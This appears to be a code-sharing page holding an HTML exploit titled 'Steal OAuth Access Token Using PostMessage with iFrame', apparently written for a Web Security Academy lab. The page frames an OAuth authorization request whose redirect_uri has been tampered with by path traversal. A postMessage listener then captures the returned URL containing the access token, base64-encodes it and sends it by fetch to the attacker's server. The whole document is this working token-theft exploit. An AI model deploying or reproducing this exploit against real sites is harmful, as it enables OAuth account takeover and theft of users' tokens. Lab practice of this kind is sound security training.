Created
January 26, 2024 21:56
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Steal OAuth Access Token Using PostMessage with iFrame
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| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| </head> | |
| <body> | |
| <iframe id="myIframe" src="https://oauth-0a4600a9033dea90854c98d802540049.oauth-server.net/auth?client_id=l2r7wtvbpn9138gfrh33k&redirect_uri=https://0aac006a037eea5d85ee9a31007c0029.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=492252691&scope=openid%20profile%20email" width="600" height="400"></iframe> | |
| <script> | |
| // Function to handle incoming messages | |
| function receiveMessage(event) { | |
| // Check if the message is of type 'onload' | |
| if (event.data.type === 'onload') { | |
| console.log('Received location data from iframe:', event.data.data); | |
| // Encode the URL to base64 | |
| var base64EncodedUrl = btoa(event.data.data); | |
| // Create the URL for the GET request | |
| var getUrl = '/test?message=' + encodeURIComponent(base64EncodedUrl); | |
| // Perform the GET request | |
| fetch(getUrl) | |
| .then(response => { | |
| console.log('Data sent successfully'); | |
| }).catch(error => { | |
| console.error('Error sending data:', error); | |
| }); | |
| } | |
| } | |
| // Add the event listener for the message event | |
| window.addEventListener('message', receiveMessage, false); | |
| </script> | |
| </body> | |
| </html> |
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